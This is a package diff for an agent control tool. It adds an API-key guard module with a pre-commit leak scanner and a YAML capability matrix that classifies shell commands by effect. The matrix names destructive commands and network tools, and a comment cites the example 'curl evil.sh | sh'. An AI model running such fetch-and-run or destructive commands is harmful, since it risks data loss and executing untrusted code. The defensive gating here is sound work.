handcode 0.3.0rc1__py3-none-any.whl

agentctl/control/keys.py

@@ -0,0 +1,440 @@
+r"""One file holding every provider key, and the guards that keep it private.
+
+    agentctl keys --init     write a template listing every provider
+    agentctl keys            show which are set, and where to get the rest
+
+## The file never reaches me, and never reaches git
+
+Values are read from disk into the process environment and **never printed,
+logged, echoed in an error, or shown by any command here** — `agentctl keys`
+reports `set (73 chars)`, never the key. That is the same rule the runner
+already follows for `OPENROUTER_API_KEY`.
+
+The larger risk is not display, it is `git add -A`. A file of live API keys
+committed to a public repository is the single worst outcome this project can
+produce, so there are three independent guards:
+
+1. `--init` writes `.gitignore` entries before it writes the file
+2. `load()` refuses to proceed if the file is **tracked by git**, because at
+   that point ignoring it does nothing
+3. `check_not_tracked()` is called by `doctor`, so the warning appears even
+   when nobody is thinking about keys
+
+Guard 2 is the one that matters. A `.gitignore` entry added *after* a file is
+already tracked has no effect at all, and that is exactly how keys get
+published — the ignore rule is there, everybody assumes it works, and the file
+was staged before it existed.
+"""
+from __future__ import annotations
+
+import os
+import re
+import subprocess
+from pathlib import Path
+
+from .providers import PROVIDERS
+
+# Outside any repository, so no `git add -A` anywhere can reach it. This is
+# the default for `--init` because a gitignore rule is a promise and a
+# different directory is a fact.
+HOME_PATH = Path.home() / ".agentctl" / "keys.env"
+LOCAL_PATH = Path("keys.env")
+
+# Anything matching these is a secret file we never want in a commit.
+GITIGNORE_LINES = ("keys.env", ".env", "*.env", "!*.env.template")
+
+
+def search_paths() -> list[Path]:
+    """Where a keys file may live, nearest first.
+
+    `AGENTCTL_KEYS` wins, then a project-local file, then the home file. A
+    project-local one is supported because people expect it, and warned about
+    because it sits inside a repository.
+    """
+    out = []
+    if (explicit := os.environ.get("AGENTCTL_KEYS")):
+        out.append(Path(explicit))
+    out += [LOCAL_PATH, HOME_PATH]
+    return out
+
+
+def resolve() -> Path | None:
+    """The keys file actually in use, or None."""
+    for p in search_paths():
+        if p.exists():
+            return p
+    return None
+
+
+# Back-compat for callers that pass nothing.
+DEFAULT_PATH = LOCAL_PATH
+
+_LINE = re.compile(r"""^\s*(?:export\s+)?([A-Za-z_][A-Za-z0-9_]*)\s*=\s*(.*)$""")
+
+
+class KeysAreTracked(RuntimeError):
+    """The keys file is in git. Ignoring it now changes nothing."""
+
+
+def set_value(path: str | Path, name: str, value: str) -> Path:
+    """Put one key into a keys file: replace its line, or append one.
+
+    For `agentctl init`. The ignore rules are written FIRST (`write_template`
+    does that and never overwrites a filled file), and the value is never
+    printed, logged or returned -- only the path is.
+    """
+    if not re.fullmatch(r"[A-Za-z_][A-Za-z0-9_]*", name):
+        raise ValueError(f"not a variable name: {name!r}")
+    if not value or any(c in value for c in "\r\n"):
+        raise ValueError("a key is one non-empty line")
+    p, _ = write_template(path)
+    lines = p.read_text(encoding="utf-8").splitlines()
+    for i, raw in enumerate(lines):
+        m = _LINE.match(raw.strip())
+        if m and m.group(1) == name and not raw.lstrip().startswith("#"):
+            lines[i] = f"{name}={value}"
+            break
+    else:
+        lines.append(f"{name}={value}")
+    p.write_text("\n".join(lines) + "\n", encoding="utf-8")
+    try:
+        os.chmod(p, 0o600)                              # no-op on Windows
+    except Exception:                                   # noqa: BLE001
+        pass
+    return p
+
+
+# ── reading ────────────────────────────────────────────────────────────
+def parse(text: str) -> dict[str, str]:
+    """A minimal .env parser. No dependency, no surprises.
+
+    Handles `KEY=value`, `export KEY=value`, quotes, blank lines and `#`
+    comments. Deliberately does not do variable interpolation: a key is a
+    literal, and `$` inside one is a character, not a reference.
+    """
+    out: dict[str, str] = {}
+    for raw in text.splitlines():
+        line = raw.strip()
+        if not line or line.startswith("#"):
+            continue
+        m = _LINE.match(line)
+        if not m:
+            continue
+        name, value = m.group(1), m.group(2).strip()
+        if len(value) >= 2 and value[0] == value[-1] and value[0] in "\"'":
+            value = value[1:-1]
+        else:
+            value = value.split(" #")[0].strip()
+        if value:
+            out[name] = value
+    return out
+
+
+def _git(path: Path, *args: str) -> subprocess.CompletedProcess | None:
+    """Run git with the keys file's own directory as cwd.
+
+    The directory matters. `~/.agentctl/keys.env` may sit inside a repository
+    that has nothing to do with this project — on the machine this was written
+    on, the home directory itself is a repo with an unrelated remote. Asking
+    git from the wrong cwd answers about the wrong repository.
+    """
+    try:
+        return subprocess.run(["git", *args], capture_output=True, text=True,
+                              cwd=str(path.parent if path.parent.exists() else "."))
+    except Exception:                                   # noqa: BLE001
+        return None                                     # no git: not our problem
+
+
+def enclosing_repo(path: str | Path) -> Path | None:
+    """The repository the keys file lives inside, if any."""
+    p = Path(path)
+    r = _git(p, "rev-parse", "--show-toplevel")
+    if r is None or r.returncode != 0:
+        return None
+    return Path(r.stdout.strip()) if r.stdout.strip() else None
+
+
+def check_not_tracked(path: str | Path = DEFAULT_PATH) -> str | None:
+    """Is the keys file exposed to git? Returns a warning, or None.
+
+    Two distinct states, and the second is the one worth catching, because it
+    is the moment *before* the accident rather than after:
+
+    * **tracked** — already committed. The keys must be assumed public.
+    * **inside a repo and not ignored** — one `git add -A` away from that.
+    """
+    p = Path(path)
+    if not p.exists():
+        return None
+
+    r = _git(p, "ls-files", "--error-unmatch", str(p))
+    if r is None:
+        return None
+    if r.returncode == 0:
+        return (f"{p} is TRACKED BY GIT. A .gitignore entry does nothing once a "
+                f"file is tracked. Run:  git rm --cached {p}  and rotate every "
+                f"key in it — assume they are public.")
+
+    repo = enclosing_repo(p)
+    if repo is None:
+        return None                                     # not in a repo: safe
+    ig = _git(p, "check-ignore", "-q", str(p))
+    if ig is not None and ig.returncode != 0:
+        return (f"{p} sits inside the git repository at {repo} and is NOT "
+                f"ignored there. One `git add -A` would stage your keys. "
+                f"Fix:  echo '{p.name}' >> {repo / '.gitignore'}")
+    return None
+
+
+def load(path: str | Path = DEFAULT_PATH, *, override: bool = False) -> list[str]:
+    """Load keys into `os.environ`. Returns the NAMES set, never the values.
+
+    An existing environment variable wins unless `override=True`: something
+    already exported is a deliberate act, and a file should not silently
+    replace it.
+    """
+    p = Path(path)
+    if not p.exists():
+        return []
+
+    if (warning := check_not_tracked(p)):
+        raise KeysAreTracked(warning)
+
+    loaded = []
+    for name, value in parse(p.read_text(encoding="utf-8")).items():
+        if override or not os.environ.get(name):
+            os.environ[name] = value
+            loaded.append(name)
+    return loaded
+
+
+def load_all(override: bool = False) -> tuple[Path | None, list[str]]:
+    """Load from the first keys file that exists. Returns (path, NAMES)."""
+    p = resolve()
+    return (p, load(p, override=override)) if p else (None, [])
+
+
+def load_quietly(path: str | Path | None = None) -> list[str]:
+    """`load`, but a tracked-file refusal becomes a warning on stderr.
+
+    Used on the CLI's startup path. Refusing to run at all would be the safer
+    reflex and the wrong one here: the key is already exposed, and preventing
+    the user from using their own tool does not un-expose it. Being loud does.
+    """
+    import sys
+
+    path = path or resolve()
+    if path is None:
+        return []
+    try:
+        return load(path)
+    except KeysAreTracked as e:
+        print(f"\n  !! {e}\n", file=sys.stderr)
+        try:
+            return [n for n, v in parse(Path(path).read_text(encoding="utf-8")).items()
+                    if not os.environ.get(n) and not os.environ.__setitem__(n, v)]
+        except Exception:                               # noqa: BLE001
+            return []
+
+
+# ── writing the template ───────────────────────────────────────────────
+def template(extra_slots: int = 2) -> str:
+    """The file to paste keys into. Multiple accounts per provider.
+
+    `extra_slots` commented lines per provider show the naming convention, so
+    adding a second account is uncommenting a line rather than reading docs.
+    """
+    lines = [
+        "# ════════════════════════════════════════════════════════════════",
+        "#  agentctl provider keys        NEVER COMMIT THIS FILE",
+        "# ════════════════════════════════════════════════════════════════",
+        "#",
+        "# Paste keys after the `=`. No quotes needed, no spaces around it.",
+        "# Blank lines are fine -- leave anything you do not have empty.",
+        "#",
+        "# Values are read into the environment and NEVER printed, logged, or",
+        "# shown by any command. `agentctl keys` says `set (73 chars)`.",
+        "#",
+        "# ── MORE THAN ONE KEY ───────────────────────────────────────────",
+        "#",
+        "# One key is enough to start. A daily cap on it stops work until it",
+        "# resets; a key at a SECOND PROVIDER survives that, and survives the",
+        "# first provider going down.",
+        "#",
+        "# Extra keys at the same provider are accepted with any suffix:",
+        "#",
+        "#     OPENROUTER_API_KEY=sk-or-v1-....      <- first key",
+        "#     OPENROUTER_API_KEY_WORK=sk-or-v1-...  <- another account",
+        "#",
+        "# Each becomes its own deployment in the pool (`docs/0033`). Whether",
+        "# it is a separate quota is UNVERIFIED, and pooling several free",
+        "# accounts may be against that provider's terms. Check both before",
+        "# relying on it (`docs/0042` §4.C).",
+        "#",
+        "# ── AFTER EDITING ───────────────────────────────────────────────",
+        "#",
+        "#     agentctl keys     what is set now",
+        "#     agentctl dash     whether failover is actually ready",
+        "#     agentctl proxy    rebuild the pool from these keys",
+        "#",
+        "",
+    ]
+    for p in PROVIDERS:
+        lines.append("# " + "─" * 62)
+        lines.append(f"# {p.name.upper()}{'' if p.free_tier else '   (PAID -- costs money)'}")
+        lines.append(f"#   get a key:  {p.console}")
+        for i, step in enumerate(p.steps, 1):
+            lines.append(f"#     {i}. {step}")
+        if p.note:
+            # Label the first wrapped line, indent the continuations. The
+            # first version compared chunks with `is`, which is identity on
+            # strings and was never true, so no note was ever labelled.
+            for i, chunk in enumerate(_wrap(p.note, 66)):
+                lines.append(f"#   note: {chunk}" if i == 0
+                             else f"#         {chunk}")
+        lines.append("")
+        lines.append(f"{p.key}=")
+        for n in range(2, extra_slots + 2):
+            lines.append(f"# {p.key}_{n}=")
+        lines.append("")
+    return "\n".join(lines)
+
+
+def _wrap(text: str, width: int) -> list[str]:
+    import textwrap
+    return textwrap.wrap(text, width) or [text]
+
+
+def write_template(path: str | Path | None = None,
+                   gitignore: str | Path | None = None) -> tuple[Path, bool]:
+    """Write the template, ignoring it FIRST. Never overwrites a filled file.
+
+    Defaults to `~/.agentctl/keys.env`, outside any repository. A gitignore
+    entry is a promise that has to be kept by every future `git add`; a
+    different directory is a fact that holds regardless.
+    """
+    p = Path(path) if path else HOME_PATH
+    p.parent.mkdir(parents=True, exist_ok=True)
+
+    # Ignore rules FIRST, and in the repository that actually contains the
+    # file. The first version wrote them into the current project's
+    # `.gitignore` while placing the file under `~/.agentctl` — which on this
+    # machine is inside a *different* repo, leaving the file unprotected in the
+    # only repo that could commit it (`docs/0033` §5).
+    #
+    # The cwd's `.gitignore` is no longer a default target: it protects the
+    # file only when the file is inside the cwd's repository, which the
+    # enclosing-repo rule already covers. Otherwise it was a stray write into
+    # whatever directory `--init` ran in -- someone else's project, or no
+    # repository at all (`docs/0044` N8). An explicit `gitignore` still wins.
+    repo = enclosing_repo(p)
+    targets = {Path(gitignore)} if gitignore else set()
+    if repo:
+        targets.add(repo / ".gitignore")
+    for target in targets:
+        try:
+            ensure_ignored(target, name=p.name)
+        except Exception:                               # noqa: BLE001
+            pass                                        # not a repo: fine
+    if p.exists():
+        return p, False
+    p.parent.mkdir(parents=True, exist_ok=True)
+    p.write_text(template(), encoding="utf-8")
+    try:
+        os.chmod(p, 0o600)                              # no-op on Windows
+    except Exception:                                   # noqa: BLE001
+        pass
+    return p, True
+
+
+def ensure_ignored(gitignore: str | Path = ".gitignore",
+                   name: str | None = None) -> bool:
+    """Add the ignore rules if absent. Called BEFORE the file is created.
+
+    `name` adds the specific filename too, so a keys file with an unusual name
+    is covered as well as the generic `*.env` patterns.
+    """
+    g = Path(gitignore)
+    have = g.read_text(encoding="utf-8") if g.exists() else ""
+    wanted = list(GITIGNORE_LINES) + ([name] if name else [])
+    need = [l for l in dict.fromkeys(wanted) if l not in have.splitlines()]
+    if not need:
+        return False
+    g.parent.mkdir(parents=True, exist_ok=True)
+    with g.open("a", encoding="utf-8", newline="\n") as fh:
+        fh.write("\n# Provider API keys. Written by `agentctl keys --init`.\n")
+        fh.write("\n".join(need) + "\n")
+    return True
+
+
+# ── blocking a commit that contains a real key ─────────────────────────
+def scan_text(text: str, values: set[str] | None = None) -> list[str]:
+    """Which of YOUR keys appear in `text`. Returns env names, never values.
+
+    Compares against the credentials you actually hold rather than against a
+    shape. A regex for `sk-[A-Za-z0-9]{20,}` flags every placeholder in every
+    test file, and a check that cries wolf is one people learn to ignore --
+    which is worse than no check, because it is mistaken for protection.
+    """
+    path = resolve()
+    if values is None:
+        if path is None:
+            return []
+        values = set()
+        pairs = parse(path.read_text(encoding="utf-8"))
+    else:
+        pairs = {}
+    names = []
+    for name, value in (pairs.items() if pairs else []):
+        # Short values are not credentials and would match everywhere.
+        if value and len(value) >= 16 and value in text:
+            names.append(name)
+    for value in values:
+        if value and len(value) >= 16 and value in text:
+            names.append("<supplied>")
+    return names
+
+
+def scan_staged() -> list[str]:
+    """Real keys present in what git is about to commit."""
+    r = subprocess.run(["git", "diff", "--cached"], capture_output=True,
+                       text=True, encoding="utf-8", errors="replace")
+    if r.returncode != 0:
+        return []
+    return scan_text(r.stdout)
+
+
+PRE_COMMIT_HOOK = """#!/bin/sh
+# Installed by `agentctl keys --install-hook`.
+# Refuses any commit containing a credential from your keys file.
+exec "{python}" -c "
+import sys
+sys.path.insert(0, r'{root}')
+from agentctl.control.keys import scan_staged
+hits = scan_staged()
+if hits:
+    print('COMMIT BLOCKED: these keys appear in the staged changes:')
+    for h in sorted(set(hits)):
+        print('   ', h)
+    print('Remove them, then commit. If one was already pushed, rotate it.')
+    raise SystemExit(1)
+"
+"""
+
+
+def install_hook(repo: str | Path = ".") -> Path:
+    """Install the pre-commit guard in `repo`."""
+    import sys
+
+    hooks = Path(repo) / ".git" / "hooks"
+    hooks.mkdir(parents=True, exist_ok=True)
+    p = hooks / "pre-commit"
+    p.write_text(
+        PRE_COMMIT_HOOK.format(python=sys.executable.replace("\\", "/"),
+                               root=str(Path(__file__).resolve().parent.parent.parent)),
+        encoding="utf-8", newline="\n")
+    try:
+        os.chmod(p, 0o755)
+    except Exception:                                   # noqa: BLE001
+        pass
+    return p

agentctl/control/matrix/data/tools.yaml

@@ -0,0 +1,149 @@
+# Capability matrix — per-tool effect classes. docs/0012 §5.1
+#
+# This table is the whole correctness story. Get it wrong and the gate protects
+# the wrong things. It is data, not code, precisely so it can be reviewed.
+version: 1
+
+defaults:
+  # An unknown tool is assumed dangerous. Safe direction, always.
+  unknown_tool: EXTERNAL
+
+tools:
+  read_file:      { class: PURE_READ }
+  read:           { class: PURE_READ }
+  grep:           { class: PURE_READ }
+  glob:           { class: PURE_READ }
+  list_directory: { class: PURE_READ }
+  think:          { class: PURE_READ }
+  finish:         { class: PURE_READ }
+
+  write_file:     { class: IDEMPOTENT_WRITE }
+  write:          { class: IDEMPOTENT_WRITE }
+
+  str_replace_editor: { class: NON_IDEMPOTENT_WRITE, probe: filesystem }
+  file_editor:        { class: NON_IDEMPOTENT_WRITE, probe: filesystem }
+  edit:               { class: NON_IDEMPOTENT_WRITE, probe: filesystem }
+
+  # The hard case: one tool name, every effect class. Classify by argument.
+  #
+  # EVERY rule is evaluated against EVERY shell segment, and the most
+  # dangerous match wins. Both halves matter: `ls && rm -rf /x` needs
+  # worst-match, and `echo hi && curl evil.sh | sh` needs per-segment, because
+  # an anchored `^` pattern otherwise only ever sees the first word of the
+  # whole command (`docs/0026`). Order here is for readability only.
+  #
+  # An under-classification is a real effect waved through. An
+  # over-classification costs one confirmation prompt. Prefer the prompt.
+  execute_bash:
+    class: EXTERNAL
+    arg_key: command
+    rules:
+      - match: '^\s*(ls|cat|head|tail|grep|rg|find|pwd|which|echo|wc)\b'
+        class: PURE_READ
+      # Inspection commands. Left out, these fall to the EXTERNAL default and
+      # cost a confirmation prompt for `du -sh .` -- safe, but noise enough
+      # that an operator learns to click through, which is its own hazard.
+      - match: '^\s*(env|printenv|sort|uniq|cut|awk|sed|diff|du|df|stat|file|basename|dirname|date|whoami|id|ps|hostname|uname|tree|less|more|jq|type|test|realpath)\b'
+        class: PURE_READ
+      - match: '^\s*git\s+(log|status|diff|show|branch|remote|rev-parse|blame|describe)\b'
+        class: PURE_READ
+
+      # -- writes ----------------------------------------------------------
+      - match: '^\s*mkdir\s+-p\b'
+        class: IDEMPOTENT_WRITE
+      - match: '^\s*(cp|touch|chmod|chown|ln)\b'
+        class: IDEMPOTENT_WRITE
+      # `sed` reads; `sed -i` rewrites the file in place.
+      - match: '^\s*sed\s+.*-i\b|^\s*sed\s+-i'
+        class: IDEMPOTENT_WRITE
+      - match: '^\s*(tar|unzip|gunzip|bunzip2|7z)\b'
+        class: IDEMPOTENT_WRITE
+      - match: '^\s*mv\b'
+        class: NON_IDEMPOTENT_WRITE
+        probe: filesystem
+      # A truncating redirect writes a file, whatever produced the bytes.
+      # `cat secrets > /tmp/x` is not a read. Excludes `>>` and `2>&1`.
+      - match: '(?<![>&\-])>(?![>&])'
+        class: IDEMPOTENT_WRITE
+      - match: '>>'                      # append redirect
+        class: NON_IDEMPOTENT_WRITE
+        probe: filesystem
+
+      # -- destructive -----------------------------------------------------
+      # `rm` in ANY spelling. The old rule caught only `rm -rf`, so plain
+      # `rm file.txt` fell through to the EXTERNAL default and never prompted.
+      - match: '(^|[\s;&|])rm\b'
+        class: DESTRUCTIVE
+      - match: '^\s*(del|erase)\b'
+        class: DESTRUCTIVE
+      - match: '^\s*(rd|rmdir)\b'
+        class: DESTRUCTIVE
+      - match: '^\s*Remove-Item\b'
+        class: DESTRUCTIVE
+      - match: '^\s*format\s+[A-Za-z]:'
+        class: DESTRUCTIVE
+      - match: '(^|[\s;&|])(shred|truncate|mkfs\S*|fdisk)\b'
+        class: DESTRUCTIVE
+      - match: '\bdd\s+if='
+        class: DESTRUCTIVE
+      - match: '\bfind\b.*(-delete|-exec\s+rm)\b'
+        class: DESTRUCTIVE
+      - match: '\bDROP\s+(TABLE|DATABASE)\b'
+        class: DESTRUCTIVE
+      # git operations that destroy work that was never committed
+      - match: '^\s*git\s+reset\s+.*--hard\b'
+        class: DESTRUCTIVE
+      - match: '^\s*git\s+clean\b'
+        class: DESTRUCTIVE
+      - match: '^\s*git\s+(checkout|restore)\s+(--|\.)'
+        class: DESTRUCTIVE
+      - match: '^\s*git\s+branch\s+-[dD]\b'
+        class: DESTRUCTIVE
+      # Found by the hold-out set, not by design (`docs/0026` §4).
+      - match: '^\s*git\s+stash\s+(drop|clear)\b'
+        class: DESTRUCTIVE
+      - match: '\b(git\s+push\s+.*--force|--force-with-lease)'
+        class: DESTRUCTIVE
+      # orchestration verbs that remove or halt running things
+      - match: '\b(kubectl|docker|podman)\s+(rm|rmi|delete|kill|down)\b'
+        class: DESTRUCTIVE
+      - match: '\b(systemctl|service)\s+(stop|disable|mask)\b'
+        class: DESTRUCTIVE
+      - match: '^\s*(shutdown|reboot|halt|pkill|killall)\b'
+        class: DESTRUCTIVE
+
+      # -- reaches someone else's machine ----------------------------------
+      - match: '^\s*git\s+(commit|tag|merge|rebase|cherry-pick)\b'
+        class: NON_IDEMPOTENT_WRITE
+        probe: git
+      - match: '^\s*git\s+push\b'
+        class: EXTERNAL
+        probe: git
+      - match: '^\s*(curl|wget|http|ssh|scp|rsync)\b'
+        class: EXTERNAL
+      - match: '^\s*(pip|pip3|npm|pnpm|yarn|apt|apt-get|brew)\s+(install|add|upgrade)\b'
+        class: EXTERNAL
+
+  bash: { alias: execute_bash }
+
+  # EXTERNAL effects reach somebody else's server, so they cannot be
+  # fingerprinted. Declaring the argument that carries an idempotency key is
+  # what makes a retry safe instead of fail-closed. docs/0020
+  http_post:
+    class: EXTERNAL
+    idempotency_key: idempotency_key
+  http_request:
+    class: EXTERNAL
+    idempotency_key: idempotency_key
+
+  # No key mechanism declared -> stays fail-closed, which is correct.
+  send_email: { class: EXTERNAL }
+
+# MCP tools are remote, third-party and opaque. docs/0010 §8.2
+mcp:
+  default: EXTERNAL
+  servers:
+    filesystem:
+      tools:
+        read_file:      PURE_READ
+        list_directory: PURE_READ

agentctl/control/policy/__init__.py

@@ -0,0 +1,10 @@
+"""Policy: compiled out-of-band, read in-band. M7.
+
+    from agentctl.control.policy import compile_policy, compile_to, PolicyError
+
+The kernel reads the compiled artifact via `agentctl.kernel.policy.Policy` and
+never imports this module -- `docs/0008` R2.
+"""
+from .compile import EFFECT_RULES, PolicyError, compile_policy, compile_to
+
+__all__ = ["compile_policy", "compile_to", "PolicyError", "EFFECT_RULES"]